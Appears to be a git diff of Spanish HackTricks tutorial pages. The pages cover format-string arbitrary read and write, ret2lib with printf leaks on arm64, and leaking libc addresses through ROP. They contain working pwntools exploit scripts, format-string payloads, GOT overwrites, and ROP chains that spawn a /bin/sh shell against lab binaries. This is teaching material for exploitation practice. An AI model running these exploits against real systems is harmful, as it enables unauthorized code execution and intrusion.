-Es posible utilizar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **posición n**, siguiéndola e **imprimiéndola como si fuera una cadena** (imprimir hasta encontrar un 0x00). Entonces, si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la cuarta posición en la pila, es posible imprimir el inicio del binario con:
+Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **n posición**, siguiéndola y **imprimirla como si fuera una cadena** (imprimir hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la 4ª posición en la pila, es posible imprimir el inicio del binario con:
```python
from pwn import *
@@ -97,16 +100,16 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
{% hint style="danger" %}
-Ten en cuenta que no puedes poner la dirección 0x8048000 al principio de la entrada porque la cadena se concatenará con 0x00 al final de esa dirección.
+Tenga en cuenta que no puede poner la dirección 0x8048000 al principio de la entrada porque la cadena se cortará en 0x00 al final de esa dirección.
{% endhint %}
### Encontrar el desplazamiento
-Para encontrar el desplazamiento de tu entrada, podrías enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** y **aumentar** el valor hasta recuperar las `A's`.
+Para encontrar el desplazamiento a su entrada, podría enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** y **aumentar** el valor hasta recuperar los `A's`.
-Fuerza bruta para encontrar el desplazamiento de printf
+Fuerza bruta printf offset
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@@ -137,45 +140,45 @@ p.close()
```
-### Qué tan útil es
+### Qué tan útil
Las lecturas arbitrarias pueden ser útiles para:
-- **Volcar** el **binario** de la memoria
-- **Acceder a partes específicas de la memoria donde se almacena información sensible** (como canarios, claves de cifrado o contraseñas personalizadas como en este [desafío de CTF](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
+* **Volcar** el **binario** de la memoria
+* **Acceder a partes específicas de la memoria donde se almacena información** **sensible** (como canarios, claves de cifrado o contraseñas personalizadas como en este [**desafío CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
-## Escritura Arbitraria
+## **Escritura Arbitraria**
-El formateador **`$%n`** escribe la **cantidad de bytes escritos** en la **dirección indicada** en el parámetro \ en la pila. Si un atacante puede escribir tantos caracteres como desee con printf, podrá hacer que **`$%n`** escriba un número arbitrario en una dirección arbitraria.
+El formateador **`$%n`** **escribe** el **número de bytes escritos** en la **dirección indicada** en el parámetro \ en la pila. Si un atacante puede escribir tantos caracteres como desee con printf, podrá hacer que **`$%n`** escriba un número arbitrario en una dirección arbitraria.
-Afortunadamente, para escribir el número 9999, no es necesario agregar 9999 "A" a la entrada, para hacerlo es posible utilizar el formateador **`%.%$n`** para escribir el número **``** en la **dirección apuntada por la posición `num`**.
+Afortunadamente, para escribir el número 9999, no es necesario agregar 9999 "A"s a la entrada, para hacerlo es posible usar el formateador **`%.%$n`** para escribir el número **``** en la **dirección apuntada por la posición `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Sin embargo, ten en cuenta que generalmente para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de una vez), **se usa `$hn`** en lugar de `$n`. Esto permite **escribir solo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces, una para los 2B más altos de la dirección y otra vez para los más bajos.
-Por lo tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (escritura arbitraria)**.
+Por lo tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (escritura arbitraria).**
-En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la tabla **GOT** que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria para ejecutar:
+En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la tabla **GOT** que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria a exec:
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
-Vamos a **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la **función `system`**.\
-Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: **primero escribe 2Bytes** de la dirección y luego los otros 2. Para hacerlo se usa **`$hn`**.
+Vamos a **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la **función** **`system`**.\
+Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: Primero **escribes 2Bytes** de la dirección y luego los otros 2. Para hacerlo se usa **`$hn`**.
-* **HOB** se refiere a los 2 bytes más altos de la dirección
-* **LOB** se refiere a los 2 bytes más bajos de la dirección
+* **HOB** se llama a los 2 bytes más altos de la dirección
+* **LOB** se llama a los 2 bytes más bajos de la dirección
-Luego, debido a cómo funciona la cadena de formato, necesitas **escribir primero el más pequeño** de \[HOB, LOB\] y luego el otro.
+Luego, debido a cómo funciona la cadena de formato, necesitas **escribir primero el más pequeño** de \[HOB, LOB] y luego el otro.
Si HOB < LOB\
-`[dirección+2][dirección]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
+`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Si HOB > LOB\
-`[dirección+2][dirección]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
+`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
@@ -212,9 +215,9 @@ p.sendline('/bin/sh')
p.interactive()
```
-## Formato de cadenas para desbordamiento de búfer
+## Cadenas de Formato a BOF
-Es posible abusar de las acciones de escritura de una vulnerabilidad de formato de cadena para **escribir en direcciones de la pila** y explotar un tipo de vulnerabilidad de **desbordamiento de búfer**.
+Es posible abusar de las acciones de escritura de una vulnerabilidad de cadena de formato para **escribir en direcciones de la pila** y explotar un tipo de vulnerabilidad de **desbordamiento de búfer**.
## Otros Ejemplos y Referencias
@@ -222,8 +225,23 @@ Es posible abusar de las acciones de escritura de una vulnerabilidad de formato
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
-* 32 bits, sin relro, sin canary, nx, sin pie, uso básico de cadenas de formato para filtrar la bandera de la pila (no es necesario alterar el flujo de ejecución)
+* 32 bits, sin relro, sin canario, nx, sin pie, uso básico de cadenas de formato para filtrar la bandera de la pila (sin necesidad de alterar el flujo de ejecución)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
-* 32 bits, relro, sin canary, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win)
+* 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
-* 32 bits, relro, sin canary, nx, sin pie, cadena de formato para escribir una dirección dentro de main en `.fini_array` (para que el flujo vuelva a recorrerse 1 vez más) y escribir la dirección de `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo regrese a main, se ejecutará `strlen` con la entrada del usuario y apuntando a `system`, ejecutará los comandos pasados.
+* 32 bits, relro, sin canario, nx, sin pie, cadena de formato para escribir una dirección dentro de main en `.fini_array` (para que el flujo vuelva a repetirse una vez más) y escribir la dirección a `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo regrese a main, `strlen` se ejecutará con la entrada del usuario y apuntando a `system`, ejecutará los comandos pasados.
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
index 9b10baf6d..6490da7ab 100644
--- a/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
+++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
@@ -1,20 +1,21 @@
-# Ret2lib + Fuga de Printf - arm64
+# Ret2lib + Printf leak - arm64
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta convertirte en un experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
-## Ret2lib - Bypass de NX con ROP (sin ASLR)
+## Ret2lib - Bypass NX con ROP (sin ASLR)
```c
#include
@@ -31,41 +32,41 @@ printfleak();
bof();
}
```
-Compilar sin canary:
+Compilar sin canario:
```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
-### Encontrar el desplazamiento
+### Encontrar offset
-### Desplazamiento x30
+### offset x30
-Creando un patrón con **`pattern create 200`**, utilizándolo y verificando el desplazamiento con **`pattern search $x30`** podemos ver que el desplazamiento es **`108`** (0x6c).
+Creando un patrón con **`pattern create 200`**, usándolo y verificando el offset con **`pattern search $x30`** podemos ver que el offset es **`108`** (0x6c).
-Al observar la función principal desensamblada, podemos ver que queremos **saltar** a la instrucción para saltar directamente a **`printf`**, cuyo desplazamiento desde donde se carga el binario es **`0x860`**:
+Echando un vistazo a la función principal desensamblada, podemos ver que nos gustaría **saltar** a la instrucción para saltar a **`printf`** directamente, cuyo offset desde donde se carga el binario es **`0x860`**:
-### Encontrar system y la cadena `/bin/sh`
+### Encontrar la cadena de system y `/bin/sh`
-Dado que ASLR está deshabilitado, las direcciones siempre serán las mismas:
+Como ASLR está deshabilitado, las direcciones van a ser siempre las mismas:
### Encontrar Gadgets
-Necesitamos tener en **`x0`** la dirección de la cadena **`/bin/sh`** y llamar a **`system`**.
+Necesitamos tener en **`x0`** la dirección a la cadena **`/bin/sh`** y llamar a **`system`**.
Usando rooper se encontró un gadget interesante:
```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
```
-Este gadget cargará `x0` desde **`$sp + 0x18`** y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Con este gadget podemos **controlar el primer argumento y luego saltar a system**.
+Este gadget cargará `x0` desde **`$sp + 0x18`** y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Así que con este gadget podemos **controlar el primer argumento y luego saltar a system**.
-### Explotar
+### Exploit
```python
from pwn import *
from time import sleep
@@ -95,7 +96,7 @@ p.sendline(payload)
p.interactive()
p.close()
```
-## Ret2lib - Bypass de NX, ASLR y PIE con fugas de printf desde la pila
+## Ret2lib - Bypass de NX, ASL y PIE con filtraciones de printf desde la pila
```c
#include
@@ -121,46 +122,46 @@ bof();
}
```
-Compilar **sin canary**:
+Compilar **sin canario**:
```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security
```
-### PIE y ASLR pero sin canary
+### PIE y ASLR pero sin canario
* Ronda 1:
* Fuga de PIE desde la pila
-* Abuso de desbordamiento de búfer para regresar a main
+* Abusar de bof para volver a main
* Ronda 2:
* Fuga de libc desde la pila
* ROP: ret2system
### Fugas de Printf
-Estableciendo un punto de interrupción antes de llamar a printf es posible ver que hay direcciones a las que regresar en el binario en la pila y también direcciones de libc:
+Estableciendo un punto de interrupción antes de llamar a printf, es posible ver que hay direcciones para regresar al binario en la pila y también direcciones de libc:
-Probando diferentes desplazamientos, **`%21$p`** puede filtrar una dirección binaria (bypass de PIE) y **`%25$p`** puede filtrar una dirección de libc:
+Probando diferentes offsets, el **`%21$p`** puede filtrar una dirección binaria (bypass de PIE) y el **`%25$p`** puede filtrar una dirección de libc:
-Restando la dirección filtrada de libc con la dirección base de libc, es posible ver que el **desplazamiento** de la **dirección filtrada desde la base es `0x49c40`.**
+Restando la dirección de libc filtrada con la dirección base de libc, es posible ver que el **offset** de la **dirección filtrada desde la base es `0x49c40`.**
-### Desplazamiento x30
+### Offset x30
-Ver el ejemplo anterior ya que el desbordamiento de búfer es el mismo.
+Ver el ejemplo anterior ya que el bof es el mismo.
### Encontrar Gadgets
-Como en el ejemplo anterior, necesitamos tener en **`x0`** la dirección de la cadena **`/bin/sh`** y llamar a **`system`**.
+Al igual que en el ejemplo anterior, necesitamos tener en **`x0`** la dirección de la cadena **`/bin/sh`** y llamar a **`system`**.
-Usando rooper se encontró otro gadget interesante:
+Usando rooper, se encontró otro gadget interesante:
```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
```
-Este gadget cargará `x0` desde **`$sp + 0x78`** y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Con este gadget podemos **controlar el primer argumento y luego saltar a system**.
+Este gadget cargará `x0` desde **`$sp + 0x78`** y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Así que con este gadget podemos **controlar el primer argumento y luego saltar a system**.
-### Explotar
+### Exploit
```python
from pwn import *
from time import sleep
@@ -210,16 +211,17 @@ p.sendline(payload)
p.interactive()
```
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
index 0075d0f2c..c4d34c5f8 100644
--- a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
+++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
@@ -1,25 +1,26 @@
# Filtrando la dirección de libc con ROP
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
## Resumen Rápido
-1. **Encontrar** el **desplazamiento** del desbordamiento
-2. **Encontrar** el gadget `POP_RDI`, `PUTS_PLT` y `MAIN`
-3. Utilizar los gadgets anteriores para **filtrar la dirección de memoria** de puts u otra función de libc y **encontrar la versión de libc** ([descárgala](https://libc.blukat.me))
-4. Con la biblioteca, **calcular el ROP y explotarlo**
+1. **Encuentra** el **offset** de desbordamiento
+2. **Encuentra** el gadget `POP_RDI`, `PUTS_PLT` y gadgets de `MAIN`
+3. Usa los gadgets anteriores para **filtrar la dirección de memoria** de puts u otra función de libc y **encontrar la versión de libc** ([descárgala](https://libc.blukat.me))
+4. Con la biblioteca, **calcula el ROP y explótalo**
## Otros tutoriales y binarios para practicar
@@ -28,7 +29,7 @@ Otros tutoriales útiles: [https://made0x78.com/bseries-ret2libc/](https://made0
## Código
-Nombre de archivo: `vuln.c`
+Nombre del archivo: `vuln.c`
```c
#include
@@ -44,7 +45,7 @@ return 0;
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
-## Plantilla ROP - Filtrando la dirección de LIBC
+## ROP - Plantilla para filtrar LIBC
Descarga el exploit y colócalo en el mismo directorio que el binario vulnerable y proporciona los datos necesarios al script:
@@ -52,9 +53,9 @@ Descarga el exploit y colócalo en el mismo directorio que el binario vulnerable
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}
-## 1- Encontrando el desplazamiento
+## 1- Encontrar el offset
-La plantilla necesita un desplazamiento antes de continuar con el exploit. Si no se proporciona ninguno, ejecutará el código necesario para encontrarlo (por defecto `OFFSET = ""`):
+La plantilla necesita un offset antes de continuar con el exploit. Si se proporciona alguno, ejecutará el código necesario para encontrarlo (por defecto `OFFSET = ""`):
```bash
###################
### Find offset ###
@@ -69,21 +70,21 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
-**Ejecuta** `python template.py` se abrirá una consola de GDB con el programa estrellado. Dentro de esa **consola de GDB** ejecuta `x/wx $rsp` para obtener los **bytes** que iban a sobrescribir el RIP. Finalmente, obtén el **desplazamiento** usando una consola de **python**:
+**Ejecuta** `python template.py` se abrirá una consola GDB con el programa que se está bloqueando. Dentro de esa **consola GDB** ejecuta `x/wx $rsp` para obtener los **bytes** que iban a sobrescribir el RIP. Finalmente, obtén el **offset** usando una consola de **python**:
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](<../../../../.gitbook/assets/image (1007).png>)
-Después de encontrar el desplazamiento (en este caso 40), cambia la variable OFFSET dentro de la plantilla usando ese valor.\
+Después de encontrar el offset (en este caso 40), cambia la variable OFFSET dentro de la plantilla usando ese valor.\
`OFFSET = "A" * 40`
-Otra forma sería usar: `pattern create 1000` -- _ejecutar hasta ret_ -- `pattern search $rsp` desde GEF.
+Otra forma sería usar: `pattern create 1000` -- _ejecutar hasta ret_ -- `pattern seach $rsp` desde GEF.
## 2- Encontrar Gadgets
-Ahora necesitamos encontrar gadgets ROP dentro del binario. Estos gadgets ROP serán útiles para llamar a `puts` para encontrar la **libc** que se está utilizando, y luego para **lanzar el exploit final**.
+Ahora necesitamos encontrar gadgets ROP dentro del binario. Estos gadgets ROP serán útiles para llamar a `puts` para encontrar la **libc** que se está utilizando, y más tarde para **lanzar el exploit final**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@@ -95,14 +96,14 @@ log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
El `PUTS_PLT` es necesario para llamar a la **función puts**.\
-El `MAIN_PLT` es necesario para llamar a la **función principal** nuevamente después de una interacción para **explotar** el desbordamiento **nuevamente** (rondas infinitas de explotación). **Se utiliza al final de cada ROP para llamar al programa nuevamente**.\
+El `MAIN_PLT` es necesario para llamar a la **función main** nuevamente después de una interacción para **explotar** el desbordamiento **nuevamente** (rondas infinitas de explotación). **Se utiliza al final de cada ROP para llamar al programa nuevamente**.\
El **POP\_RDI** es necesario para **pasar** un **parámetro** a la función llamada.
-En este paso no es necesario ejecutar nada, ya que todo será encontrado por pwntools durante la ejecución.
+En este paso no necesitas ejecutar nada, ya que todo será encontrado por pwntools durante la ejecución.
-## 3- Encontrando la biblioteca libc
+## 3- Encontrar la biblioteca libc
-Ahora es el momento de encontrar qué versión de la biblioteca **libc** se está utilizando. Para hacerlo, vamos a **filtrar** la **dirección** en memoria de la **función** `puts` y luego vamos a **buscar** en qué **versión de la biblioteca** se encuentra la versión de puts en esa dirección.
+Ahora es el momento de encontrar qué versión de la **biblioteca libc** se está utilizando. Para hacerlo, vamos a **leak** la **dirección** en memoria de la **función** `puts` y luego vamos a **buscar** en qué **versión de la biblioteca** se encuentra la versión de puts en esa dirección.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
@@ -135,17 +136,17 @@ Para hacerlo, la línea más importante del código ejecutado es:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
-Esto enviará algunos bytes hasta **sobrescribir** el **RIP** es posible: `OFFSET`.\
-Luego, establecerá la **dirección** del gadget `POP_RDI` para que la siguiente dirección (`FUNC_GOT`) se guarde en el registro **RDI**. Esto se debe a que queremos **llamar a puts** **pasándole** la **dirección** del `PUTS_GOT` ya que la dirección en memoria de la función puts se guarda en la dirección apuntada por `PUTS_GOT`.\
-Después de eso, se llamará a `PUTS_PLT` (con `PUTS_GOT` dentro del **RDI**) para que puts **lea el contenido** dentro de `PUTS_GOT` (**la dirección de la función puts en memoria**) y lo **imprima**.\
-Finalmente, se llama a la **función principal nuevamente** para que podamos explotar el desbordamiento nuevamente.
+Esto enviará algunos bytes hasta que sea posible **sobrescribir** el **RIP**: `OFFSET`.\
+Luego, establecerá la **dirección** del gadget `POP_RDI` para que la siguiente dirección (`FUNC_GOT`) se guarde en el registro **RDI**. Esto se debe a que queremos **llamar a puts** **pasándole** la **dirección** de `PUTS_GOT` ya que la dirección en memoria de la función puts se guarda en la dirección apuntada por `PUTS_GOT`.\
+Después de eso, se llamará a `PUTS_PLT` (con `PUTS_GOT` dentro del **RDI**) para que puts **lea el contenido** dentro de `PUTS_GOT` (**la dirección de la función puts en memoria**) y **lo imprima**.\
+Finalmente, **la función main se llama de nuevo** para que podamos explotar el desbordamiento nuevamente.
-De esta manera hemos **engañado a la función puts** para que **imprima** la **dirección** en **memoria** de la función **puts** (que está dentro de la biblioteca **libc**). Ahora que tenemos esa dirección podemos **buscar qué versión de libc se está utilizando**.
+De esta manera hemos **engañado a la función puts** para que **imprima** la **dirección** en **memoria** de la función **puts** (que está dentro de la biblioteca **libc**). Ahora que tenemos esa dirección, podemos **buscar qué versión de libc se está utilizando**.
![](<../../../../.gitbook/assets/image (1049).png>)
-Como estamos **explotando** un binario **local** no es **necesario** averiguar qué versión de **libc** se está utilizando (solo encontrar la biblioteca en `/lib/x86_64-linux-gnu/libc.so.6`).\
-Pero, en caso de una explotación remota, explicaré cómo puedes encontrarlo aquí:
+Como estamos **explotando** algún binario **local**, **no es necesario** averiguar qué versión de **libc** se está utilizando (solo encuentra la biblioteca en `/lib/x86_64-linux-gnu/libc.so.6`).\
+Pero, en un caso de explotación remota, aquí explicaré cómo puedes encontrarla:
### 3.1- Buscando la versión de libc (1)
@@ -168,13 +169,13 @@ Para que esto funcione necesitamos:
* Nombre del símbolo de libc: `puts`
* Dirección de libc filtrada: `0x7ff629878690`
-Podemos averiguar qué **libc** es la que más probablemente se está utilizando.
+Podemos averiguar qué **libc** es la que probablemente se está utilizando.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
-Obtenemos 2 coincidencias (deberías probar la segunda si la primera no funciona). Descarga la primera:
+Obtenemos 2 coincidencias (debes intentar la segunda si la primera no funciona). Descarga la primera:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
@@ -183,9 +184,9 @@ Getting libc6_2.23-0ubuntu10_amd64
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
-### 3.3- Otras funciones para filtrar
+Copia la libc de `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` a nuestro directorio de trabajo.
-Copia la libc desde `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` a nuestro directorio de trabajo.
+### 3.3- Otras funciones para filtrar
```python
puts
printf
@@ -193,25 +194,25 @@ __libc_start_main
read
gets
```
-## 4- Encontrar la dirección de la libc base y explotar
+## 4- Encontrar la dirección de libc basada y explotar
-En este punto deberíamos conocer la biblioteca libc utilizada. Como estamos explotando un binario local, usaré simplemente: `/lib/x86_64-linux-gnu/libc.so.6`
+En este punto, deberíamos conocer la biblioteca libc utilizada. Como estamos explotando un binario local, usaré solo: `/lib/x86_64-linux-gnu/libc.so.6`
-Entonces, al principio de `template.py` cambia la variable **libc** a: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Establecer la ruta de la biblioteca cuando se conozca`
+Así que, al principio de `template.py`, cambia la variable **libc** a: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Establecer la ruta de la biblioteca cuando se conozca`
-Proporcionando la **ruta** a la **biblioteca libc**, el resto de la **explotación se calculará automáticamente**.
+Al dar la **ruta** a la **biblioteca libc**, el resto de la **explotación se calculará automáticamente**.
-Dentro de la función `get_addr` se calculará la **dirección base de libc**:
+Dentro de la función `get_addr`, se calculará la **dirección base de libc**:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
{% hint style="info" %}
-Ten en cuenta que la **dirección base final de libc debe terminar en 00**. Si no es tu caso, es posible que hayas filtrado una biblioteca incorrecta.
+Nota que **la dirección base final de libc debe terminar en 00**. Si ese no es tu caso, es posible que hayas filtrado una biblioteca incorrecta.
{% endhint %}
-Luego, la dirección de la función `system` y la **dirección** de la cadena _"/bin/sh"_ se van a **calcular** a partir de la **dirección base** de **libc** y la **biblioteca libc** proporcionada.
+Luego, la dirección de la función `system` y la **dirección** de la cadena _"/bin/sh"_ se van a **calcular** a partir de la **dirección base** de **libc** y dada la **biblioteca libc.**
```python
